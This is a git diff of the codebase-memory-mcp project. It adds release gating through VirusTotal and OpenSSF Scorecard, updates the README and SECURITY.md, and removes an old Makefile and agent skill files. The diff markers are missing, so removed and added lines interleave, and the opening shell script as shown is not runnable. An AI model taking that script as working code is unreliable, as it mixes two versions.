VT_API_KEY: ${{ secrets.VIRUS_TOTAL_SCANNER_API_KEY }}
VT_ANALYSIS: ${{ steps.virustotal.outputs.analysis }}
run: |
echo "=== Checking VirusTotal scan results ==="
DETECTIONS=0
echo "=== Waiting for VirusTotal scans to fully complete ==="
MIN_ENGINES=60
rm -f /tmp/vt_gate_fail
# Split comma-separated output into newlines
echo "$VT_ANALYSIS" | tr ',' '\n' | while IFS= read -r entry; do
[ -z "$entry" ] && continue
FILE=$(echo "$entry" | cut -d'=' -f1)
URL=$(echo "$entry" | cut -d'=' -f2-)
BASENAME=$(basename "$FILE")
# Extract SHA256 hash from URL (last path segment of /gui/file/<hash>)
SHA256=$(echo "$URL" | grep -oE '[a-f0-9]{64}')
if [ -z "$SHA256" ]; then
echo "WARNING: Could not extract SHA256 from $URL — skipping"
continue
# Extract base64 analysis ID from URL: /gui/file-analysis/<ID>/detection
ANALYSIS_ID=$(echo "$URL" | sed -n 's|.*/file-analysis/\([^/]*\)/.*|\1|p')
if [ -z "$ANALYSIS_ID" ]; then
echo "WARNING: Could not extract analysis ID from $URL"
# Try SHA256 fallback (older action versions use /gui/file/<sha256>)
ANALYSIS_ID=$(echo "$URL" | grep -oE '[a-f0-9]{64}')
if [ -z "$ANALYSIS_ID" ]; then
echo "BLOCKED: Cannot parse VirusTotal URL: $URL"
echo "FAIL" >> /tmp/vt_gate_fail
continue
fi
fi
# Poll the file report until last_analysis_results are available
for attempt in $(seq 1 30); do
# Poll /api/v3/analyses/<id> until status=completed (max 20 min)
SCAN_COMPLETE=false
for attempt in $(seq 1 120); do
RESULT=$(curl -sf --max-time 10 \
-H "x-apikey: $VT_API_KEY" \
"https://www.virustotal.com/api/v3/files/$SHA256" 2>/dev/null || echo "")
"https://www.virustotal.com/api/v3/analyses/$ANALYSIS_ID" 2>/dev/null || echo "")
if [ -z "$RESULT" ]; then
echo " $BASENAME: waiting for scan (attempt $attempt/30)..."
echo " $BASENAME: waiting (attempt $attempt)..."
sleep 10
continue
fi
MALICIOUS=$(echo "$RESULT" | python3 -c "
STATS=$(echo "$RESULT" | python3 -c "
import json, sys
d = json.loads(sys.stdin.read())
stats = d.get('data', {}).get('attributes', {}).get('last_analysis_stats', {})
print(stats.get('malicious', 0))
" 2>/dev/null || echo "0")
attrs = d.get('data', {}).get('attributes', {})
status = attrs.get('status', 'queued')
stats = attrs.get('stats', {})
malicious = stats.get('malicious', 0)
suspicious = stats.get('suspicious', 0)
undetected = stats.get('undetected', 0)
harmless = stats.get('harmless', 0)
total = sum(stats.values())
completed = malicious + suspicious + undetected + harmless
print(f'{status},{malicious},{suspicious},{completed},{total}')
" 2>/dev/null || echo "queued,0,0,0,0")
SUSPICIOUS=$(echo "$RESULT" | python3 -c "
import json, sys
d = json.loads(sys.stdin.read())
stats = d.get('data', {}).get('attributes', {}).get('last_analysis_stats', {})
print(stats.get('suspicious', 0))
" 2>/dev/null || echo "0")
STATUS=$(echo "$STATS" | cut -d',' -f1)
MALICIOUS=$(echo "$STATS" | cut -d',' -f2)
SUSPICIOUS=$(echo "$STATS" | cut -d',' -f3)
COMPLETED=$(echo "$STATS" | cut -d',' -f4)
TOTAL=$(echo "$STATS" | cut -d',' -f5)
TOTAL=$(echo "$RESULT" | python3 -c "
import json, sys
d = json.loads(sys.stdin.read())
stats = d.get('data', {}).get('attributes', {}).get('last_analysis_stats', {})
print(sum(stats.values()))
" 2>/dev/null || echo "0")
if [ "$TOTAL" -gt 0 ]; then
echo "$BASENAME: $MALICIOUS malicious, $SUSPICIOUS suspicious (of $TOTAL engines)"
if [ "$STATUS" = "completed" ]; then
echo "$BASENAME: $MALICIOUS malicious, $SUSPICIOUS suspicious ($COMPLETED completed, $TOTAL total engines)"
if [ "$MALICIOUS" -gt 0 ] || [ "$SUSPICIOUS" -gt 0 ]; then
echo "BLOCKED: $BASENAME flagged! See $URL"
echo "FAIL" >> /tmp/vt_gate_fail
fi
SCAN_COMPLETE=true
break
fi
echo " $BASENAME: waiting for scan results (attempt $attempt/30)..."
echo " $BASENAME: $STATUS (attempt $attempt)..."
sleep 10
done
if [ "$SCAN_COMPLETE" != "true" ]; then
echo "BLOCKED: $BASENAME scan did not complete within 20 minutes!"
echo "FAIL" >> /tmp/vt_gate_fail
fi
done
if [ -f /tmp/vt_gate_fail ]; then
FAIL_COUNT=$(wc -l < /tmp/vt_gate_fail | tr -d ' ')
echo ""
echo "=== VIRUSTOTAL GATE FAILED ==="
echo "$FAIL_COUNT binary(ies) flagged as malicious or suspicious."
echo "$FAIL_COUNT binary(ies) flagged or scan incomplete."
echo "Draft release will NOT be published. Investigate before retrying."
exit 1
fi
echo "=== All binaries clean ==="
echo "=== All binaries clean (all engines completed) ==="
# ── OpenSSF Scorecard ────────────────────────────────────
- name: Run OpenSSF Scorecard
uses: ossf/scorecard-action@v2
id: scorecard
with:
results_file: scorecard.sarif
results_format: sarif
publish_results: true
- name: Upload Scorecard SARIF
uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: scorecard.sarif
- name: Extract Scorecard score
id: score
# ── OpenSSF Scorecard gate ──────────────────────────────────
# Fetch public score and block release if repo health degrades below threshold.
- name: OpenSSF Scorecard gate (minimum 4.0)
run: |
SCORE=$(python3 -c "
import json, sys
with open('scorecard.sarif') as f:
d = json.load(f)
props = d.get('runs', [{}])[0].get('tool', {}).get('driver', {}).get('properties', {})
print(props.get('score', 'N/A'))
" 2>/dev/null || echo "N/A")
echo "score=$SCORE" >> "$GITHUB_OUTPUT"
SCORE=$(curl -sf "https://api.scorecard.dev/projects/github.com/DeusData/codebase-memory-mcp" 2>/dev/null \
| python3 -c "import json,sys; print(json.loads(sys.stdin.read()).get('score',0))" 2>/dev/null \
|| echo "0")
echo "OpenSSF Scorecard: $SCORE/10"
if python3 -c "exit(0 if float('$SCORE') >= 4.0 else 1)" 2>/dev/null; then
echo "=== Scorecard gate passed (>= 4.0) ==="
else
echo "BLOCKED: Scorecard $SCORE/10 is below minimum 4.0"
echo "Check https://scorecard.dev/viewer/?uri=github.com/DeusData/codebase-memory-mcp"
exit 1
fi
# ── Append results + publish ─────────────────────────────
- name: Append security verification and publish release
env:
VT_ANALYSIS: ${{ steps.virustotal.outputs.analysis }}
SCORECARD_SCORE: ${{ steps.score.outputs.score }}
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
VERSION: ${{ inputs.version }}
run: |
@@ -622,10 +771,6 @@ jobs:
rm -f /tmp/vt_table
fi
# OpenSSF Scorecard
REPORT+=$'\n**OpenSSF Scorecard** — repository security health: **'"$SCORECARD_SCORE"$'/10**\n'
REPORT+=$'[View detailed scorecard](https://scorecard.dev/viewer/?uri=github.com/DeusData/codebase-memory-mcp)\n\n'
# Build provenance
REPORT+=$'**Build Provenance (SLSA)** — cryptographic proof each binary was built by GitHub Actions from this repo:\n'
REPORT+=$'```\ngh attestation verify <downloaded-file> --repo DeusData/codebase-memory-mcp\n```\n\n'
@@ -634,8 +779,16 @@ jobs:
REPORT+=$'**Sigstore cosign** — keyless signature verification:\n'
REPORT+=$'```\ncosign verify-blob --bundle <file>.bundle <file>\n```\n\n'
# Native AV scans
REPORT+=$'**Native antivirus scans** — all binaries passed these scans before this release was created (any detection would have blocked the release):\n'
REPORT+=$'- Windows: Windows Defender with ML heuristics (the same engine end users run)\n'
REPORT+=$'- Linux: ClamAV with daily signature updates\n'
REPORT+=$'- macOS: ClamAV with daily signature updates\n\n'
# SBOM
REPORT+=$'**SBOM** — Software Bill of Materials (`sbom.json`) lists all vendored dependencies.\n'
REPORT+=$'**SBOM** — Software Bill of Materials (`sbom.json`) lists all vendored dependencies.\n\n'
REPORT+=$'See [SECURITY.md](https://github.com/DeusData/codebase-memory-mcp/blob/main/SECURITY.md) for full details.\n'
# Append to release notes
EXISTING=$(gh release view "$VERSION" --json body --jq '.body' --repo "$GITHUB_REPOSITORY")
+32
View File
@@ -0,0 +1,32 @@
name: OpenSSF Scorecard
on:
push:
branches: [main]
schedule:
- cron: '0 6 * * 1' # Every Monday at 06:00 UTC
permissions: read-all
jobs:
scorecard:
runs-on: ubuntu-latest
permissions:
security-events: write
id-token: write
steps:
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
with:
persist-credentials: false
- name: Run OpenSSF Scorecard
uses: ossf/scorecard-action@4eaacf0543bb3f2c246792bd56e8cdeffafb205a # v2.4.3
with:
results_file: results.sarif
results_format: sarif
publish_results: true
- name: Upload SARIF results
uses: github/codeql-action/upload-sarif@38697555549f1db7851b81482ff19f1fa5c4fedc # v4
with:
sarif_file: results.sarif
+34 -2
View File
@@ -11,6 +11,7 @@ Contributions are welcome. This guide covers setup, testing, and PR guidelines.
```bash
git clone https://github.com/DeusData/codebase-memory-mcp.git
cd codebase-memory-mcp
git config core.hooksPath scripts/hooks # activates pre-commit security checks
scripts/build.sh
```
@@ -84,14 +85,45 @@ Language support is split between two layers:
4. Add a test case in `tests/test_pipeline.c` for integration-level fixes
5. Verify with a real open-source repo
### Infrastructure Languages (Infra-Pass Pattern)
Languages like **Dockerfile**, **docker-compose**, **Kubernetes manifests**, and **Kustomize** do not require a new tree-sitter grammar. Instead they follow an *infra-pass* pattern, reusing the existing tree-sitter YAML grammar where applicable:
1. **Detection helpers** in `src/pipeline/pass_infrascan.c` — functions like `cbm_is_dockerfile()`, `cbm_is_k8s_manifest()`, `cbm_is_kustomize_file()` identify files by name and/or content heuristics (e.g., presence of `apiVersion:`).
2. **Custom extractors** in `internal/cbm/extract_k8s.c` — tree-sitter-based parsers that walk the YAML AST (using the tree-sitter YAML grammar) and populate `CBMFileResult` with imports and definitions.
3. **Pipeline pass** (`pass_k8s.c`, `pass_infrascan.c`) — calls the extractor and emits graph nodes/edges. K8s manifests emit `Resource` nodes; Kustomize files emit `Module` nodes with `IMPORTS` edges to referenced resource files.
**When adding a new infrastructure language:**
- Add a detection helper (`cbm_is_<lang>_file()`) in `pass_infrascan.c` or a new `pass_<lang>.c`.
- Add the `CBM_LANG_<LANG>` enum value in `internal/cbm/cbm.h` and a row in the language table in `lang_specs.c`.
- Write a custom extractor that returns `CBMFileResult*` — do not add a tree-sitter grammar.
- Register the pass in `pipeline.c`.
- Add tests in `tests/test_pipeline.c` following the `TEST(infra_is_dockerfile)` and `TEST(k8s_extract_manifest)` patterns.
## Commit Format
Use conventional commits: `type(scope): description`
| Type | When to use |
|------|-------------|
| `feat` | New feature or capability |
| `fix` | Bug fix |
| `test` | Adding or updating tests |
| `refactor` | Code change that neither fixes a bug nor adds a feature |
| `perf` | Performance improvement |
| `docs` | Documentation only |
| `chore` | Build scripts, CI, dependency updates |
Examples: `fix(store): set busy_timeout before WAL`, `feat(cli): add --progress flag`
## Pull Request Guidelines
- **One issue per PR.** Each PR must address exactly one bug, one feature, or one refactor. Do not bundle multiple fixes or feature additions into a single PR. If your change touches multiple areas, split it into separate PRs.
- **Open an issue first.** Every PR should reference a tracking issue (`Fixes #N` or `Closes #N`). This ensures the change is discussed before code is written.
- **C code only** — this project was rewritten from Go to pure C in v0.5.0. Go PRs will be acknowledged and potentially ported, but cannot be merged directly.
- One logical change per PR — don't bundle unrelated features
- Include tests for new functionality
- Run `scripts/test.sh` and `scripts/lint.sh` before submitting
- Keep PRs focused — avoid unrelated reformatting or refactoring
- Reference the issue number in your PR description
## Security
-24
View File
@@ -1,24 +0,0 @@
.PHONY: build test lint clean install check bench-memory
BINARY=codebase-memory-mcp
MODULE=github.com/DeusData/codebase-memory-mcp
build:
go build -o bin/$(BINARY) ./cmd/codebase-memory-mcp/
test:
go test ./... -v
check: lint test ## Run lint + tests
lint: ## Run golangci-lint
golangci-lint run --timeout=5m ./...
clean:
rm -rf bin/
install:
go install ./cmd/codebase-memory-mcp/
bench-memory: ## Run memory stability benchmark
go test -run TestMemoryStability -v -count=1 -timeout=5m ./internal/pipeline/
+7 -1
View File
@@ -115,6 +115,7 @@ EXTRACTION_SRCS = \
$(CBM_DIR)/extract_type_refs.c \
$(CBM_DIR)/extract_type_assigns.c \
$(CBM_DIR)/extract_env_accesses.c \
$(CBM_DIR)/extract_k8s.c \
$(CBM_DIR)/helpers.c \
$(CBM_DIR)/lang_specs.c
@@ -148,6 +149,7 @@ MCP_SRCS = src/mcp/mcp.c
# Discover module (new)
DISCOVER_SRCS = \
src/discover/language.c \
src/discover/userconfig.c \
src/discover/gitignore.c \
src/discover/discover.c
@@ -176,6 +178,7 @@ PIPELINE_SRCS = \
src/pipeline/pass_envscan.c \
src/pipeline/pass_compile_commands.c \
src/pipeline/pass_infrascan.c \
src/pipeline/pass_k8s.c \
src/pipeline/httplink.c
# Traces module (new)
@@ -259,6 +262,7 @@ TEST_MCP_SRCS = \
TEST_DISCOVER_SRCS = \
tests/test_language.c \
tests/test_userconfig.c \
tests/test_gitignore.c \
tests/test_discover.c
@@ -288,7 +292,9 @@ TEST_MEM_SRCS = tests/test_mem.c
TEST_UI_SRCS = tests/test_ui.c
ALL_TEST_SRCS = $(TEST_FOUNDATION_SRCS) $(TEST_EXTRACTION_SRCS) $(TEST_STORE_SRCS) $(TEST_CYPHER_SRCS) $(TEST_MCP_SRCS) $(TEST_DISCOVER_SRCS) $(TEST_GRAPH_BUFFER_SRCS) $(TEST_PIPELINE_SRCS) $(TEST_WATCHER_SRCS) $(TEST_LZ4_SRCS) $(TEST_SQLITE_WRITER_SRCS) $(TEST_GO_LSP_SRCS) $(TEST_C_LSP_SRCS) $(TEST_TRACES_SRCS) $(TEST_HTTPLINK_SRCS) $(TEST_CLI_SRCS) $(TEST_MEM_SRCS) $(TEST_UI_SRCS) $(TEST_INTEGRATION_SRCS)
TEST_SECURITY_SRCS = tests/test_security.c
ALL_TEST_SRCS = $(TEST_FOUNDATION_SRCS) $(TEST_EXTRACTION_SRCS) $(TEST_STORE_SRCS) $(TEST_CYPHER_SRCS) $(TEST_MCP_SRCS) $(TEST_DISCOVER_SRCS) $(TEST_GRAPH_BUFFER_SRCS) $(TEST_PIPELINE_SRCS) $(TEST_WATCHER_SRCS) $(TEST_LZ4_SRCS) $(TEST_SQLITE_WRITER_SRCS) $(TEST_GO_LSP_SRCS) $(TEST_C_LSP_SRCS) $(TEST_TRACES_SRCS) $(TEST_HTTPLINK_SRCS) $(TEST_CLI_SRCS) $(TEST_MEM_SRCS) $(TEST_UI_SRCS) $(TEST_SECURITY_SRCS) $(TEST_INTEGRATION_SRCS)
# ── Build directories ────────────────────────────────────────────
+34 -5
View File
@@ -1,8 +1,18 @@
# codebase-memory-mcp
[![GitHub Release](https://img.shields.io/github/v/release/DeusData/codebase-memory-mcp?style=flat&color=blue)](https://github.com/DeusData/codebase-memory-mcp/releases/latest)
[![License](https://img.shields.io/badge/license-MIT-green)](LICENSE)
[![CI](https://img.shields.io/github/actions/workflow/status/DeusData/codebase-memory-mcp/dry-run.yml?label=CI)](https://github.com/DeusData/codebase-memory-mcp/actions/workflows/dry-run.yml)
[![Tests](https://img.shields.io/badge/tests-2042_passing-brightgreen)](https://github.com/DeusData/codebase-memory-mcp)
[![Languages](https://img.shields.io/badge/languages-66-orange)](https://github.com/DeusData/codebase-memory-mcp)
[![Agents](https://img.shields.io/badge/agents-10-purple)](https://github.com/DeusData/codebase-memory-mcp)
[![Pure C](https://img.shields.io/badge/pure_C-zero_dependencies-blue)](https://github.com/DeusData/codebase-memory-mcp)
[![Platform](https://img.shields.io/badge/macOS_%7C_Linux_%7C_Windows-supported-lightgrey)](https://github.com/DeusData/codebase-memory-mcp/releases/latest)
[![OpenSSF Scorecard](https://api.scorecard.dev/projects/github.com/DeusData/codebase-memory-mcp/badge)](https://scorecard.dev/viewer/?uri=github.com/DeusData/codebase-memory-mcp)
**The fastest and most efficient code intelligence engine for AI coding agents.** Full-indexes an average repository in milliseconds, the Linux kernel (28M LOC, 75K files) in 3 minutes. Answers structural queries in under 1ms. Ships as a single static binary for macOS, Linux, and Windows — download, run `install`, done.
High-quality parsing through [tree-sitter](https://tree-sitter.github.io/tree-sitter/) AST analysis across all 64 languages, enhanced with LSP-style hybrid type resolution for Go, C, and C++ (more languages coming soon) — producing a persistent knowledge graph of functions, classes, call chains, HTTP routes, and cross-service links. 14 MCP tools. Zero dependencies. Plug and play across 10 coding agents.
High-quality parsing through [tree-sitter](https://tree-sitter.github.io/tree-sitter/) AST analysis across all 66 languages, enhanced with LSP-style hybrid type resolution for Go, C, and C++ (more languages coming soon) — producing a persistent knowledge graph of functions, classes, call chains, HTTP routes, and cross-service links. 14 MCP tools. Zero dependencies. Plug and play across 10 coding agents.
<p align="center">
<img src="docs/graph-ui-screenshot.png" alt="Graph visualization UI showing the codebase-memory-mcp knowledge graph" width="800">
@@ -14,10 +24,11 @@ High-quality parsing through [tree-sitter](https://tree-sitter.github.io/tree-si
- **Extreme indexing speed** — Linux kernel (28M LOC, 75K files) in 3 minutes. RAM-first pipeline: LZ4 compression, in-memory SQLite, fused Aho-Corasick pattern matching. Memory released after indexing.
- **Plug and play** — single static binary for macOS (arm64/amd64), Linux (arm64/amd64), and Windows (amd64). No Docker, no runtime dependencies, no API keys. Download → `install` → restart agent → done.
- **64 languages** — vendored tree-sitter grammars compiled into the binary. Nothing to install, nothing that breaks.
- **66 languages** — vendored tree-sitter grammars compiled into the binary. Nothing to install, nothing that breaks.
- **120x fewer tokens** — 5 structural queries: ~3,400 tokens vs ~412,000 via file-by-file search. One graph query replaces dozens of grep/read cycles.
- **10 agents, one command** — `install` auto-detects Claude Code, Codex CLI, Gemini CLI, Zed, OpenCode, Antigravity, Aider, KiloCode, VS Code, and OpenClaw — configures MCP entries, instruction files, and pre-tool hooks for each.
- **Built-in graph visualization** — 3D interactive UI at `localhost:9749` (optional UI binary variant).
- **Infrastructure-as-code indexing** — Dockerfiles, Kubernetes manifests, and Kustomize overlays indexed as graph nodes with cross-references. `Resource` nodes for K8s kinds, `Module` nodes for Kustomize overlays with `IMPORTS` edges to referenced resources.
- **14 MCP tools** — search, trace, architecture, impact analysis, Cypher queries, dead code detection, cross-service HTTP linking, ADR management, and more.
## Quick Start
@@ -269,7 +280,7 @@ codebase-memory-mcp cli --raw search_graph '{"label": "Function"}' | jq '.result
### Node Labels
`Project`, `Package`, `Folder`, `File`, `Module`, `Class`, `Function`, `Method`, `Interface`, `Enum`, `Type`, `Route`
`Project`, `Package`, `Folder`, `File`, `Module`, `Class`, `Function`, `Method`, `Interface`, `Enum`, `Type`, `Route`, `Resource`
### Edge Types
@@ -296,6 +307,24 @@ codebase-memory-mcp config set auto_index_limit 50000 # max files for auto-in
codebase-memory-mcp config reset auto_index # reset to default
```
## Custom File Extensions
Map additional file extensions to supported languages via JSON config files. Useful for framework-specific extensions like `.blade.php` (Laravel) or `.mjs` (ES modules).
**Per-project** (in your repo root):
```json
// .codebase-memory.json
{"extra_extensions": {".blade.php": "php", ".mjs": "javascript"}}
```
**Global** (applies to all projects):
```json
// ~/.config/codebase-memory-mcp/config.json (or $XDG_CONFIG_HOME/...)
{"extra_extensions": {".twig": "html", ".phtml": "php"}}
```
Project config overrides global for conflicting extensions. Unknown language values are silently skipped. Missing config files are ignored.
## Persistence
SQLite databases stored at `~/.cache/codebase-memory-mcp/`. Persists across restarts (WAL mode, ACID-safe). To reset: `rm -rf ~/.cache/codebase-memory-mcp/`.
@@ -313,7 +342,7 @@ SQLite databases stored at `~/.cache/codebase-memory-mcp/`. Persists across rest
## Language Support
64 languages. Benchmarked against 64 real open-source repositories (78 to 49K nodes):
66 languages. Benchmarked against 64 real open-source repositories (78 to 49K nodes):
| Tier | Score | Languages |
|------|-------|-----------|
@@ -338,7 +367,7 @@ src/
traces/ Runtime trace ingestion
ui/ Embedded HTTP server + 3D graph visualization
foundation/ Platform abstractions (threads, filesystem, logging, memory)
internal/cbm/ Vendored tree-sitter grammars (64 languages) + AST extraction engine
internal/cbm/ Vendored tree-sitter grammars (66 languages) + AST extraction engine
```
## License
+36 -12
View File
@@ -12,29 +12,50 @@ We will acknowledge your report within 48 hours and provide a fix timeline withi
## Security Measures
This project implements multiple layers of security verification:
This project implements multiple layers of security verification. Every release binary must pass all checks before users can download it (draft → verify → publish flow).
### Build-Time (CI)
### Build-Time (CI — every commit)
- **8-layer security audit suite** runs on every build (static analysis, binary string audit, network egress monitoring, install path validation, MCP robustness testing, UI security audit, vendored dependency integrity, smoke test hardening)
- **All dangerous function calls** (`system()`, `popen()`, `fork()`, `connect()`) require a reviewed entry in `scripts/security-allowlist.txt`
- **Vendored dependency checksums** verified on every build (72 files, SHA-256)
- **8-layer security audit suite** runs on every build:
- Layer 1: Static allow-list for dangerous calls (`system`/`popen`/`fork`) + hardcoded URLs
- Layer 2: Binary string audit (URLs, credentials, dangerous commands)
- Layer 3: Network egress monitoring via strace (Linux)
- Layer 4: Install output path + content validation
- Layer 5: Smoke test hardening (clean shutdown, residual processes, version integrity)
- Layer 6: Graph UI audit (external domains, CORS, server binding, eval/iframe)
- Layer 7: MCP robustness (23 adversarial JSON-RPC payloads)
- Layer 8: Vendored dependency integrity (SHA-256 checksums, dangerous call scan)
- **All dangerous function calls** require a reviewed entry in `scripts/security-allowlist.txt`
- **Time-bomb pattern detection** — scans for `time()`/`sleep()` near dangerous calls (could indicate delayed activation)
- **MCP tool handler file read audit** — tracks file read count in `mcp.c` against an expected maximum (detects added file reads that could exfiltrate data through tool responses)
- **CodeQL SAST** — static application security testing on every push (taint analysis, CWE detection, data flow tracking). Any open alert blocks the release.
- **Fuzz testing** — random/mutated inputs to MCP server and Cypher parser (60 seconds per build). Catches crashes, segfaults, and memory errors that structured tests miss.
- **Native antivirus scanning** on every platform (any detection fails the build):
- **Windows**: Windows Defender with ML heuristics — the same engine end users run
- **Linux**: ClamAV with daily signature updates
- **macOS**: ClamAV with daily signature updates
### Release-Time
### Release-Time (draft → verify → publish)
- **VirusTotal scanning** — all release binaries scanned by 70+ antivirus engines, reports linked in release notes
- **SLSA build provenance** — cryptographic attestation proving each binary was built by GitHub Actions from this repository
- **Sigstore cosign signing** — keyless signatures verifiable by anyone
- **SBOM** — Software Bill of Materials listing all vendored dependencies
- **SHA-256 checksums** — published with every release
Releases are created as **drafts** (invisible to users) and only published after all verification passes:
1. **SLSA build provenance** — cryptographic attestation proving each binary was built by GitHub Actions from this repository
2. **Sigstore cosign signing** — keyless digital signatures verifiable by anyone
3. **SBOM** — Software Bill of Materials (CycloneDX) listing all vendored dependencies
4. **SHA-256 checksums** — published with every release
5. **VirusTotal scanning** — all binaries scanned by 70+ antivirus engines (zero-tolerance: any detection blocks the release)
6. **OpenSSF Scorecard** — repository security health score
If ANY antivirus engine flags ANY binary, the release stays as a draft and is not published until the issue is investigated and resolved.
### Code-Level Defenses
- **Shell injection prevention** — `cbm_validate_shell_arg()` rejects metacharacters before all `popen()`/`system()` calls
- **SQLite authorizer** — blocks `ATTACH`/`DETACH` at engine level
- **SQLite authorizer** — blocks `ATTACH`/`DETACH` at engine level (prevents file creation via SQL injection)
- **CORS locked to localhost** — graph UI only accessible from localhost origins
- **Path containment** — `realpath()` check prevents reading files outside project root
- **Process-kill restriction** — only server-spawned PIDs can be terminated
- **SHA-256 checksum verification** — update command verifies downloaded binary before installing
### Verification
@@ -49,6 +70,9 @@ cosign verify-blob --bundle <file>.bundle <file>
# SHA-256 checksum
sha256sum -c checksums.txt
# VirusTotal (upload binary or check the report links in the release notes)
# https://www.virustotal.com/
```
## Supported Versions
+12 -10
View File
@@ -15,7 +15,7 @@ The tree-sitter C runtime is vendored in `internal/cbm/vendored/ts_runtime/`.
Pre-generated parser sources are vendored in `internal/cbm/vendored/grammars/<lang>/`.
Each grammar is the work of its upstream authors; we vendor only the generated
`parser.c` (and `scanner.c` where applicable) for CGo compilation.
`parser.c` (and `scanner.c` where applicable) for static compilation.
| Grammar | Upstream Repository | License | Copyright |
|---------|-------------------|---------|-----------|
@@ -84,16 +84,18 @@ Each grammar is the work of its upstream authors; we vendor only the generated
| yaml | [tree-sitter/tree-sitter-yaml](https://github.com/tree-sitter/tree-sitter-yaml) | MIT | (c) Max Brunsfeld |
| zig | [tree-sitter/tree-sitter-zig](https://github.com/tree-sitter/tree-sitter-zig) | MIT | (c) Max Brunsfeld |
## Go Module Dependencies
## Vendored C Libraries
| Module | License | Project |
|--------|---------|---------|
| github.com/mattn/go-sqlite3 | MIT | [mattn/go-sqlite3](https://github.com/mattn/go-sqlite3) |
| github.com/modelcontextprotocol/go-sdk | MIT | [modelcontextprotocol/go-sdk](https://github.com/modelcontextprotocol/go-sdk) |
| github.com/zeebo/xxh3 | BSD-2-Clause | [zeebo/xxh3](https://github.com/zeebo/xxh3) |
| golang.org/x/sync | BSD-3-Clause | [golang.org/x/sync](https://pkg.go.dev/golang.org/x/sync) |
| golang.org/x/sys | BSD-3-Clause | [golang.org/x/sys](https://pkg.go.dev/golang.org/x/sys) |
| gopkg.in/yaml.v3 | MIT + Apache-2.0 | [go-yaml/yaml](https://github.com/go-yaml/yaml) |
All C dependencies are vendored in `vendored/` — zero system library dependencies required.
| Library | License | Project |
|---------|---------|---------|
| SQLite 3 | Public Domain | [sqlite.org](https://www.sqlite.org/) |
| mimalloc | MIT | [microsoft/mimalloc](https://github.com/microsoft/mimalloc) |
| Mongoose | Dual GPLv2 / Commercial | [cesanta/mongoose](https://github.com/cesanta/mongoose) |
| yyjson | MIT | [ibireme/yyjson](https://github.com/ibireme/yyjson) |
| xxHash | BSD-2-Clause | [Cyan4973/xxHash](https://github.com/Cyan4973/xxHash) |
| TRE | BSD-2-Clause | [laurikari/tre](https://github.com/laurikari/tre) |
## Notes
@@ -1,34 +0,0 @@
# Codebase Knowledge Graph
This project has a code knowledge graph available via MCP tools. Use it for
structural questions instead of grep — one graph query returns what would take
dozens of file-by-file searches.
## Finding Code
- "Who calls X?" → use `trace_call_path` with `direction=inbound`
- "What does X call?" → use `trace_call_path` with `direction=outbound`
- "Find functions matching pattern" → use `search_graph` with `name_pattern`
- "Find all routes" → use `search_graph` with `label=Route`
- "Show codebase structure" → use `get_graph_schema` for overview
## Tracing Dependencies
- Always discover exact names first: `search_graph(name_pattern=".*Partial.*")`
- Then trace: `trace_call_path(function_name="ExactName", direction="both")`
- Cross-service HTTP calls: `query_graph("MATCH (a)-[r:HTTP_CALLS]->(b) RETURN a.name, b.name, r.url_path")`
- Read source: `get_code_snippet(qualified_name="project.path.FunctionName")`
## Quality Analysis
- Dead code: `search_graph` with `max_degree=0`, `exclude_entry_points=true`, `relationship=CALLS`, `direction=inbound`
- High fan-out: `search_graph` with `min_degree=10`, `relationship=CALLS`, `direction=outbound`
- Change coupling: `query_graph("MATCH (a)-[r:FILE_CHANGES_WITH]->(b) WHERE r.coupling_score >= 0.5 RETURN ...")`
## Important
- Always check `list_projects` first — run `index_repository` if the project is missing
- Use `search_graph` to discover exact names before `trace_call_path` (it requires exact match)
- The graph doesn't index text content — use grep for string literals, error messages, config values
- Results default to 10 per page — check `has_more` and use `offset` to paginate
- Use `project` parameter when multiple repos are indexed
@@ -1,90 +0,0 @@
---
name: codebase-memory-exploring
description: >
This skill should be used when the user asks to "explore the codebase",
"understand the architecture", "what functions exist", "show me the structure",
"how is the code organized", "find functions matching", "search for classes",
"list all routes", "show API endpoints", or needs codebase orientation.
---
# Codebase Exploration via Knowledge Graph
Use graph tools for structural code questions. They return precise results in ~500 tokens vs ~80K for grep-based exploration.
## Workflow
### Step 1: Check if project is indexed
```
list_projects
```
If the project is missing from the list:
```
index_repository(repo_path="/path/to/project")
```
If already indexed, skip — auto-sync keeps the graph fresh.
### Step 2: Get a structural overview
```
get_graph_schema
```
This returns node label counts (functions, classes, routes, etc.), edge type counts, and relationship patterns. Use it to understand what's in the graph before querying.
### Step 3: Find specific code elements
Find functions by name pattern:
```
search_graph(label="Function", name_pattern=".*Handler.*")
```
Find classes:
```
search_graph(label="Class", name_pattern=".*Service.*")
```
Find all REST routes:
```
search_graph(label="Route")
```
Find modules/packages:
```
search_graph(label="Module")
```
Scope to a specific directory:
```
search_graph(label="Function", qn_pattern=".*services\\.order\\..*")
```
### Step 4: Read source code
After finding a function via search, read its source:
```
get_code_snippet(qualified_name="project.path.to.FunctionName")
```
### Step 5: Understand structure
For file/directory exploration within the indexed project:
```
list_directory(path="src/services")
```
## When to Use Grep Instead
- Searching for **string literals** or error messages → `search_code` or Grep
- Finding a file by exact name → Glob
- The graph doesn't index text content, only structural elements
## Key Tips
- Results default to 10 per page. Check `has_more` and use `offset` to paginate.
- Use `project` parameter when multiple repos are indexed.
- Route nodes have a `properties.handler` field with the actual handler function name.
- `exclude_labels` removes noise (e.g., `exclude_labels=["Route"]` when searching by name pattern).
@@ -1,101 +0,0 @@
---
name: codebase-memory-quality
description: >
This skill should be used when the user asks about "dead code",
"find dead code", "detect dead code", "show dead code", "dead code analysis",
"unused functions", "find unused functions", "unreachable code",
"identify high fan-out functions", "find complex functions",
"code quality audit", "find functions nobody calls",
"reduce codebase size", "refactor candidates", "cleanup candidates",
or needs code quality analysis.
---
# Code Quality Analysis via Knowledge Graph
Use graph degree filtering to find dead code, high-complexity functions, and refactor candidates — all in single tool calls.
## Workflow
### Dead Code Detection
Find functions with zero inbound CALLS edges, excluding entry points:
```
search_graph(
label="Function",
relationship="CALLS",
direction="inbound",
max_degree=0,
exclude_entry_points=true
)
```
`exclude_entry_points=true` removes route handlers, `main()`, and framework-registered functions that have zero callers by design.
### Verify Dead Code Candidates
Before deleting, verify each candidate truly has no callers:
```
trace_call_path(function_name="SuspectFunction", direction="inbound", depth=1)
```
Also check for read references (callbacks, stored in variables):
```
query_graph(query="MATCH (a)-[r:USAGE]->(b) WHERE b.name = 'SuspectFunction' RETURN a.name, a.file_path LIMIT 10")
```
### High Fan-Out Functions (calling 10+ others)
